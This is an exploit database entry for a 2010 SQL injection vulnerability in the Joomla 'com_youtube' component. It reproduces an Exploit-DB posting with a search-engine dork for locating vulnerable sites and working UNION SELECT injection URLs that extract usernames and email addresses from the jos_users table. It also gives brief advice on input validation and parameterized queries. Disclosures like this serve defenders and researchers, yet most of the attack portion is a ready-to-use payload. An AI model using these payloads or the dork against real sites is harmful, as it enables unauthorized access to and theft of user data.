Joomla "com_youtube" Sql Injection Vulnerability

vendor:

Joomla

by:

Forza-Dz

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Joomla

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: NO

Related CWE: N/A

CPE: a:joomla:joomla

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2, Windows XP SP3

2010

Joomla “com_youtube” Sql Injection Vulnerability

An attacker can exploit this vulnerability by sending a crafted SQL query to the vulnerable application. This can be done by appending the crafted SQL query to the vulnerable parameter in the URL. For example, http://www.site.com/index.php?option=com_youtube&id_cate=4 union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users--

Mitigation:

Input validation should be performed to ensure that untrusted data is not used to construct a malicious SQL query. Parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Joomla "com_youtube"  Sql Injection Vulnerability
# Date: 2010-07-24

# Author: Forza-Dz

# Software Link: http://extensions.joomla.org/extensions/multimedia/
multimedia-channels/video-channels/12037
# Version: 1.5
# Tested on: windows-xp-sp2-fr : windows-xp-sp3-fr


============================================================================== 
\\\\\\\\\\ Joomla "com_youtube" Sql Injection Vulnerability ///////// 
============================================================================== 
  
***************************************************************************
*************************************************************************** 
Dork = inurl:"com_youtube"
########################################################################### 
 ===[ Exploit ]===
http://www.site.com/index.php?option=com_youtube&id_cate=4 

union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users--
or
http://www.site.com/index.php?option=com_youtube&id_cate=55
union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users--
########################################################################### 
Greetz @ Flit0x-Dz AnD MCA-CRB All "DZ" "MusliM"           
###########################################################################